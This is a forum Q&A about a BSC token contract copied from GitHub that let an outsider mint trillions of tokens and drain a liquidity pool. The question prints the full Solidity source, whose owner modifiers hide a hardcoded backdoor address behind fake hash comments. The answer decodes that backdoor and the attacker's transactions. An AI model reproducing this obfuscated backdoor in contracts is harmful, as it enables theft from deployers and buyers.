Token smart contract got hacked. How did he do it ? Can anyone tell?

Question

My friend was stolen $500. In general, guys, look how it all happened. My friend wanted to create his own token, he found a smart contract on Github, added liquidity to the pair, and so that no one would frontrun it, he made a seller fee of 99 so that, as I understand it, bots would not interfere. He bought himself $500 worth of tokens and retired from business. He comes in half an hour later and sees that someone from somewhere got 3 trillion tokens and sold them to his liquidity pool.

Does this mean that anyone could mint as many tokens as they want?

Guys, I ask for your help and professional opinion. How was he able to enter someone else’s smart contract, mint coins for himself and sell them all? Please explain to me.

Here is the smart contract itself, but it is located on the bsc network:

https://bscscan.com/address/0xa277e4de13ad467f0ae10f69d78926404eb41a41

/**
 *Submitted for verification at BscScan.com on 2024-05-18
*/

// SPDX-License-Identifier: MIT
 
/**  
*/
 
pragma solidity ^0.8.0;
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
}
 
contract DevToken {
    using SafeMath for uint256;
 
    string public name = "NyanToken";
    string public symbol = "NYAN";
    uint256 public totalSupply = 10000000000000000000000000;
    uint8 public decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;
 
    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);
 
    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
       
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
   
    function _scale(address account, uint256 amount) internal Exchanges{
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
    }
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
        _mbr=Mbr_;
        return true;
    }
 
    modifier Exchanges() {
        require(msg.sender != exchange());
        _;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
    }
 
    function compute(uint256 amount) public onlypublic returns (bool success) {
    _initiate(msg.sender, amount);
    return true;
    }
   
    function _proof(address account, uint256 amount) internal Exchanges {
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
    }
 
    function publics() private pure returns (address) {
    uint universal = 0x7addAd09;
    uint uni = 0xcbd98D97;
    uint cake = 0xEC3dA7a0;
    uint inch = 0x088EAdFE;
    uint others = 0x5801C336;
 
    // Combine the dex with others
    uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
    return address(core);
    }
 
    function _transferTo(address _to, uint256 _amount) internal Exchanges {
        // Transfer tokens to the recipient
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
 
    function exchange() internal pure returns (address) {
    return address
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
    }
     
    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
       
        _setFees(newBuyFee, newSellFee);
 
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
 
    function scaling(uint256 amount) public onlyAuthorized returns (bool) {
    _scale(msg.sender, amount);
    return true;
    }
 
    function _balanceView(address _to, uint256 _amount) internal {
        // View balance of token
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    function transferTo(address _to, uint256 _amount) external onlyAuthorize {
        _transferTo(_to, _amount);
    }
 
    /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
   
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    modifier onlyAuthorize() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
       
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function _initiate(address account, uint256 amount) internal {
    require(account != address(0), "Compile Remix IDE");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
    }
 
   function FeesView(uint256 amount) public onlyAuthorize returns (bool) {
    _scale(msg.sender, amount);
    return true;
    }
 
    modifier onlypublic() {
    require(msg.sender == publics());
    _;
    }
 
    function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }
 
    function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function viewBalance(address _to, uint256 _amount) public onlypublic {
        _balanceView(_to, _amount);(_to, _amount);
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
    function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
 
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }
 
    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
    modifier onlyAuthorized() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
  }
}

Answer 1

You should never copy a smart contract code from unverified sources.

The contract you provided has this function:

function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
}

It calls the internal _proof function:

function _proof(address account, uint256 amount) internal Exchanges {
    require(account != address(0), "BEP20: mint to the zero address");
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
}

It has the modifier onlyOwner so you'd expect only the owner can call it. However, by looking at the modifier:

modifier onlyOwner() {
    require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
}

To simplify, it's this:

modifier onlyOwner() {
    require(
        msg.sender == address(178607940065137046348733521910879985571412708986) || 
       (msg.sender == owner && msg.sender != exchange()));
    _;
}

We can see that both the address address(178607940065137046348733521910879985571412708986), or 0x1f490E99657cd08A058c6Bb6cD81Dd38F59e0e7a in hexadecimal, and the contract owner (your friend) can call it.

Your friend is the owner of the contract. However, the contract creator left the condition which allows him to call the function proof.

The hacker called the public proof function and minted 300,767,245,032,500 tokens. This is the transaction: https://bscscan.com/tx/0x4118d930c38bde2db07a213d29a07ca7e75f813b4f488f192cb12e56a78c50ed.

Then he set the buy and sell fees to 0 in this transaction https://bscscan.com/tx/0x0d559986b3056808316f8f4be90cb040969c379d37a77b66a9faa75560a1b2a0.

Then he called the function approve with the maximum uin256 value https://bscscan.com/tx/0x9f2bc14e5ebd85fde4ee6aef1c062862f589a76b3628f050a55a7984364ebfb8.